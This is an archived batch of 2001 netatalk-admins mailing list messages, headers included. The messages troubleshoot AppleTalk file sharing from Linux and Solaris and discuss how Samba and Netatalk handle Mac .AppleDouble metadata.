From netatalk.administrators-errors@umich.edu  Mon Nov 12 04:50:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA25530
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 04:50:58 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA14160
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 04:50:58 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA14140
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 04:50:58 -0500 (EST)
Received: from www.fastmedia.com.au (fastmedia.com [209.217.53.54])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA14098
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 04:50:56 -0500 (EST)
Received: from desktop (sdcax2-b151.dialup.optusnet.com.au [210.49.125.151])
	by www.fastmedia.com.au (8.9.3/8.9.3) with SMTP id TAA30388
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 19:50:41 +1000
Date: Mon, 12 Nov 2001 20:44:12 +1100
From: cpaul <inc@fastmedia.net>
To: netatalk-admins@umich.edu
Subject: "The item cannot be written.."
Message-Id: <20011112204412.65d7760f.inc@fastmedia.net>
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


hi

i am running netatalk-1.5pre2-6 from the redhat powertools on my rh7.1 system.

i have a linux directory mounted on a macos 9.2.1 system.

the linux directory is on a fat volume.

very often when i try to copy a file from the mac system into the appletalk-
mounted directory, macos complains:

  The item "file.psd" cannot be written, because it is in use. 
  Do you want to continue?  [stop] [continue]


whether i stop or continue, it won't copy the file.

the file is not being used anywhere.  if i duplicate and rename the
file and try to copy it to the mounted directory, i still get the 
same error.

is this problem familiar to anyone?  



thanks


chris paul

From netatalk.administrators-errors@umich.edu  Mon Nov 12 05:07:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA25856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 05:07:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA09743
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 05:07:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA09736
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 05:07:50 -0500 (EST)
Received: from www.fastmedia.com.au (fastmedia.com [209.217.53.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA09721
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 05:07:49 -0500 (EST)
Received: from desktop (sdcax2-b151.dialup.optusnet.com.au [210.49.125.151])
	by www.fastmedia.com.au (8.9.3/8.9.3) with SMTP id UAA31132
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 20:07:30 +1000
Date: Mon, 12 Nov 2001 21:01:00 +1100
From: cpaul <inc@fastmedia.net>
To: netatalk-admins@umich.edu
Subject: Re: "The item cannot be written.."
Message-Id: <20011112210100.1adab5eb.inc@fastmedia.net>
In-Reply-To: <20011112204412.65d7760f.inc@fastmedia.net>
References: <20011112204412.65d7760f.inc@fastmedia.net>
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

On Mon, 12 Nov 2001 20:44:12 +1100 cpaul wrote:

> the linux directory is on a fat volume.

i can't reproduce the problem if copying to a ext2 volume.

is there a known problem with fat?



chris paul

From netatalk.administrators-errors@umich.edu  Mon Nov 12 09:39:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05747
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 09:39:02 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA07697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 09:39:02 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA07677
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 09:39:02 -0500 (EST)
Received: from mail.potsdam.edu ([137.143.110.102])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA07644
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 09:39:01 -0500 (EST)
Received: (qmail 8064 invoked by alias); 12 Nov 2001 14:35:24 -0000
Received: (qmail 8050 invoked from network); 12 Nov 2001 14:35:24 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 12 Nov 2001 14:35:24 -0000
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Matthew Keller <kellermg@potsdam.edu>
To: Jamie Flournoy <jamie@white-mountain.org>
Cc: Netatalk-Admins <netatalk-admins@umich.edu>
In-Reply-To: <3BEEAE26.F3D9B998@white-mountain.org>
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com> 
	<3BEEAE26.F3D9B998@white-mountain.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.1+cvs.2001.11.07.16.47 (Preview Release)
Date: 12 Nov 2001 09:37:51 -0500
Message-Id: <1005575871.29801.18.camel@comp10574>
Mime-Version: 1.0


	Unfortunately (or fortunately, perhaps) HFS does not support
file/folder permissions, and is very VERY inefficient on large disks.
I've done this in small implementations, but it's icky on anything
larger than a trivial file server (and, also, it's not QUITE at slick as
described below, but it'll do the job).

I recommend looking into Samba's "veto files" capabilities. There are 2
directives in that series that will allow making Windows-user's lives
easier when browsing Mac-accessible shares (essentially hiding all the
"apple-specific" stuff).

On Sun, 2001-11-11 at 11:58, Jamie Flournoy wrote:
> I haven't tried this but I believe that if you use the HFS filesystem on the
> server (which Linux and probably also FreeBSD support natively), there won't
> be a need for the additional AppleDouble files, and so when SAMBA clients move
> or delete things there won't be any "orphaned" AppleDouble files left over.
> 
> David Okeby wrote:
> 
> > Hi,
> >
> > Just a few things that I have come across when using that kind of
> > environment... Because of the nature of the metadata that mac's leave
> > everywhere (the .AppleDouble) folders they sometimes end up cluttering the
> > shares, and depending on how your Windows computers are set up they will
> > often see these files lying around.  I have also come across a few problem
> > of the creator and file type being garbled and the mac's not being able to
> > open files that the PC's have put there.
> >
> > However it does work, and for me it works generally really well.
> >
> > Thanks
> >
> > David
> > david@okeby.com
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Nov 12 10:24:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA08025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 10:24:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA28425
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 10:24:04 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA28409
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 10:24:03 -0500 (EST)
Received: from tweli.aber.ac.uk (tweli.aber.ac.uk [144.124.16.41])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA28371
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 10:24:02 -0500 (EST)
Received: from tigger.dcs.aber.ac.uk ([193.60.10.47] helo=aber.ac.uk)
	by tweli.aber.ac.uk with esmtp (Exim 3.21 #1)
	id 163IwJ-00016V-00; Mon, 12 Nov 2001 15:23:59 +0000
X-Mailer: exmh version 2.0.2 2/24/98
To: Matthew Keller <kellermg@potsdam.edu>
cc: netatalk-admins@umich.edu
Subject: Re: netatalk with Solaris 8 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 12 Nov 2001 15:23:59 +0000
Message-ID: <15028.1005578639@aber.ac.uk>
From: Matthew Hallam <meh@aber.ac.uk>


Matthew Keller writes:

> 	Try going to the server manually by using the "Server Address" option
> in the chooser, and typing in the IP address. I suspect it's a DDP
> problem, not Netatalk.

Hmm. That seems to work ok for "AppleShare" but not for connecting 
printers (LaserWriter 8)   :-(

Matt


> On Thu, 2001-11-08 at 12:27, Matthew Hallam wrote:
> > Hello all.
> > 
> > Im trying put in place a Solaris 8 box with netatalk-1.5pre8 and have 
> > come to a halt. Ive got it compiled and installed ok.. but it doesnt 
> > seem to be working (!).. ie it doesnt up in the apple's chooser, and when
> > you do a nbplkup, none of the other macs (or indeed the other netatalk 
> > server we're running) show up - just the local machine (they are all on 
> > the same subnet).
> > 
> > The messages file looks like this:
> > 
> > Nov  8 10:02:28 barage atalkd[522]: [ID 602610 daemon.info] restart (1.5pre7)
> > Nov  8 10:02:28 borage atalkd[522]: [ID 430690 daemon.info] setsockopt incompatible w/ Solaris STREAMS module.
> > Nov  8 10:02:30 barage last message repeated 1 time
> > Nov  8 10:02:30 barage atalkd[522]: [ID 875075 daemon.info] zip_getnetinfo for le0
> > Nov  8 10:02:48 barage last message repeated 2 times
> > Nov  8 10:02:58 barage atalkd[522]: [ID 882285 daemon.info] as_timer configured le0 phase 2 from seed
> > Nov  8 10:02:58 barage atalkd[522]: [ID 128247 daemon.info] ready 0/0/0
> > Nov  8 10:03:12 barage afpd[534]: [ID 950474 daemon.info] ASIP started on x.
> > x.x.x:548(1) (1.5pre7)
> > Nov  8 10:03:12 barage afpd[534]: [ID 526081 daemon.info] uam: uam not found (status=-1)
> > 
> > modinfo shows the ddp device has loaded ok:
> > 
> >  88 f619a000   3be5  54   1  ddp (DDP Streams device)
> >  88 f619a000   3be5  19   1  ddp (DDP Streams module)
> > 
> > i have added :
> > 
> >   ddp        tpi_clts      -    appletalk ddp   /dev/ddp        -
> > 
> > to /etc/netconfig
> > 
> > The interesting thing is if I truss the startup of atalkd, i gives a 
> > load of EAFNOSUPPORT errors, as in :
> > 
> >   so_socket(16, 1, 0, "", 1)                      Err#124 EAFNOSUPPORT
> > 
> > Anyone any ideas?
> > 
> > cheers
> > Matt



X--------------------------------------------------------------------------O
| Matthew Hallam                                   Email:   meh@aber.ac.uk |
| Systems Support Group                            Tel: +44 (0)1970 622429 |
| Department of Computer Science                   Fax: +44 (0)1970 622455 |
| University of Wales, Aberystwyth. SY23 3DB  http://users.aber.ac.uk/meh/ |
O--------------------------------------------------------------------------X



From netatalk.administrators-errors@umich.edu  Mon Nov 12 10:49:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA09277
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 10:49:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA03496
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 10:49:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA03473
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 10:49:13 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA03439
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 10:49:12 -0500 (EST)
Received: from white-mountain.org (merlin.dhcp.white-mountain.org [192.168.0.140])
	by hermit.white-mountain.org (Postfix) with ESMTP id C34E94432
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 07:48:43 -0800 (PST)
Message-ID: <3BEFEFEB.37C592F4@white-mountain.org>
Date: Mon, 12 Nov 2001 07:51:07 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com> 
		<3BEEAE26.F3D9B998@white-mountain.org> <1005575871.29801.18.camel@comp10574>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

That's unfortunate. In an ideal setup, the filesystem would know about multiple file
extents and extra file metadata, and so when SAMBA moved or deleted something, the
Mac metadata and Resource fork would be moved by the OS as well. I believe this is
what NT and Netware do when sharing files to a Mac.

I guess the next best thing would be for SAMBA to be .AppleDouble file aware, so
that it would move or delete those files itself. Potentially SAMBA could be altered
to read within AppleSingle files, but I have a feeling that would cause performance
problems doing directory listings when trying to give the correct file size for each
fle (it would have to look inside every file and check the size of the data fork).

Matthew Keller wrote:

>         Unfortunately (or fortunately, perhaps) HFS does not support
> file/folder permissions, and is very VERY inefficient on large disks.
> I've done this in small implementations, but it's icky on anything
> larger than a trivial file server (and, also, it's not QUITE at slick as
> described below, but it'll do the job).
>
> I recommend looking into Samba's "veto files" capabilities. There are 2
> directives in that series that will allow making Windows-user's lives
> easier when browsing Mac-accessible shares (essentially hiding all the
> "apple-specific" stuff).
>


From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:04:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09932
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:04:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA19360
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:04:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA19308
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:04:37 -0500 (EST)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA19166
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:04:31 -0500 (EST)
Received: (qmail 22113 invoked by uid 104); 12 Nov 2001 16:04:29 -0000
Received: from cwg-dated-7e81781657c96d6e@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4169. . Clean. Processed in 0.249818 secs); 12/11/2001 10:04:29
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-7e81781657c96d6e@deepeddy.com>)
          by roustabout.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 12 Nov 2001 16:04:28 -0000
Received: (qmail 19215 invoked by alias); 12 Nov 2001 16:04:27 -0000
From: "Chris Garrigues" <cwg-dated-7e81781657c96d6e@deepeddy.com>
Received: (qmail 19191 invoked from network); 12 Nov 2001 16:04:26 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <jamie@white-mountain.org@fixme>; 12 Nov 2001 16:04:26 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Jamie Flournoy <jamie@white-mountain.org>
Cc: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom? 
In-Reply-To: <3BEFEFEB.37C592F4@white-mountain.org> 
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com> <3BEEAE26.F3D9B998@white-mountain.org> <1005575871.29801.18.camel@comp10574> <3BEFEFEB.37C592F4@white-mountain.org>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1042320442P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 12 Nov 2001 10:04:26 -0600
Message-ID: <19188.1005581066@deepeddy.com>
Mail-Reply-To: cwg-dated-7e81781657c96d6e@DeepEddy.Com

--==_Exmh_-1042320442P
Content-Type: text/plain; charset=us-ascii

> From:  Jamie Flournoy <jamie@white-mountain.org>
> Date:  Mon, 12 Nov 2001 07:51:07 -0800
>
> I guess the next best thing would be for SAMBA to be .AppleDouble file aware, so
> that it would move or delete those files itself. 

that's what the --with-netatalk flag to samba is supposed to do.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-1042320442P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE77/MKK9b4h5R0IUIRAvV0AJ94p/WXrTpWIoWVEDtGtAHVNf5M6gCdERh9
zKTI0uhGkg7/veRriOku6xo=
=jczP
-----END PGP SIGNATURE-----

--==_Exmh_-1042320442P--

From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:13:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10342
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:13:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA11638
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:13:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA11630
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:13:57 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA11613
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:13:56 -0500 (EST)
Received: (qmail 21012 invoked by alias); 12 Nov 2001 16:10:59 -0000
Received: (qmail 20998 invoked from network); 12 Nov 2001 16:10:58 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 12 Nov 2001 16:10:58 -0000
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Matthew Keller <kellermg@potsdam.edu>
To: Jamie Flournoy <jamie@white-mountain.org>
Cc: Netatalk-Admins <netatalk-admins@umich.edu>
In-Reply-To: <3BEFEFEB.37C592F4@white-mountain.org>
References: <MEEAJHFNIADLHELHJODKMEGDCDAA.david@okeby.com> 
	<3BEEAE26.F3D9B998@white-mountain.org>
	<1005575871.29801.18.camel@comp10574> 
	<3BEFEFEB.37C592F4@white-mountain.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.1+cvs.2001.11.07.16.47 (Preview Release)
Date: 12 Nov 2001 11:13:26 -0500
Message-Id: <1005581606.29801.25.camel@comp10574>
Mime-Version: 1.0

On Mon, 2001-11-12 at 10:51, Jamie Flournoy wrote:
> I guess the next best thing would be for SAMBA to be .AppleDouble file aware, so
> that it would move or delete those files itself. Potentially SAMBA could be altered
> to read within AppleSingle files, but I have a feeling that would cause performance
> problems doing directory listings when trying to give the correct file size for each
> fle (it would have to look inside every file and check the size of the data fork).

	There is elementary support within Samba for this, and I am working on
some other Netatalk <-> Samba things. It's not tough, it's just time
consuming. As for your "feeling", yes, that method would be very time
consuming and resource intensive - Effectively "penalizing" Samba for
playing nice with Netatalk. The stuff I'm working on will never do that
(unless someone else makes it so), but will support
moving/copying/deleting Netatalk metacrap (no offense) from Samba. I'm
also working on cooperative locking using Samba's locking scheme, and
also an optional unified configuration interface (eg. when you create a
share, it's a Samba AND Netatalk share, etc.).
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:31:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA11583
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:31:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA28404
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:31:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA28389
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:31:34 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA28350
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:31:33 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA25340;
	Mon, 12 Nov 2001 17:53:08 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 12 Nov 2001 17:34:11 +0100
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom? 
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Chris Garrigues <cwg-dated-7e81781657c96d6e@deepeddy.com>,
        Jamie Flournoy <jamie@white-mountain.org>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B815B892.1456F%Thomas.Kaiser@phg-online.de>
In-Reply-To: <19188.1005581066@deepeddy.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 12 Nov 2001 10:04:26 -0600, Chris Garrigues wrote:

>> From:  Jamie Flournoy <jamie@white-mountain.org>
> [...]
>> I guess the next best thing would be for SAMBA to be .AppleDouble file aware,
>> so that it would move or delete those files itself.
> 
> that's what the --with-netatalk flag to samba is supposed to do.

According to Kevin M. Myer this flag doesn't do a single thing:
<http://www.geocrawler.com/archives/3/5215/2000/12/0/4792504/>
<http://www.geocrawler.com/archives/3/5215/2001/10/350/6762954/>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:45:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12508
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:45:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18668
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:45:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18653
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:45:56 -0500 (EST)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA18629
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:45:55 -0500 (EST)
Received: (qmail 24199 invoked by uid 104); 12 Nov 2001 16:45:54 -0000
Received: from cwg-dated-4360d7866914b660@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4169. . Clean. Processed in 0.561852 secs); 12/11/2001 10:45:54
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-4360d7866914b660@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 12 Nov 2001 16:45:52 -0000
Received: (qmail 3273 invoked by alias); 12 Nov 2001 16:45:52 -0000
From: "Chris Garrigues" <cwg-dated-4360d7866914b660@deepeddy.com>
Received: (qmail 3233 invoked from network); 12 Nov 2001 16:45:50 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <Thomas.Kaiser@phg-online.de@fixme>; 12 Nov 2001 16:45:50 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: Jamie Flournoy <jamie@white-mountain.org>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom? 
In-Reply-To: <B815B892.1456F%Thomas.Kaiser@phg-online.de> 
References: <B815B892.1456F%Thomas.Kaiser@phg-online.de>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-916790006P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 12 Nov 2001 10:45:50 -0600
Message-ID: <3230.1005583550@deepeddy.com>
Mail-Reply-To: cwg-dated-4360d7866914b660@DeepEddy.Com

--==_Exmh_-916790006P
Content-Type: text/plain; charset=us-ascii

> From:  Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> Date:  Mon, 12 Nov 2001 17:34:11 +0100
>
> On Mon, 12 Nov 2001 10:04:26 -0600, Chris Garrigues wrote:
> 
> >> From:  Jamie Flournoy <jamie@white-mountain.org>
> > [...]
> >> I guess the next best thing would be for SAMBA to be .AppleDouble file a
> ware,
> >> so that it would move or delete those files itself.
> > 
> > that's what the --with-netatalk flag to samba is supposed to do.
> 
> According to Kevin M. Myer this flag doesn't do a single thing:
> <http://www.geocrawler.com/archives/3/5215/2000/12/0/4792504/>
> <http://www.geocrawler.com/archives/3/5215/2001/10/350/6762954/>

Well, I did say "is supposed to do", so I'm not actually wrong.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-916790006P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE77/y+K9b4h5R0IUIRAtSTAJ9sK6FW8F4zENzRmHhlHzoDdIa+YgCfcCCW
4eWqtx/umCxOTL/uNtP/WBA=
=ucDf
-----END PGP SIGNATURE-----

--==_Exmh_-916790006P--

From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:48:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
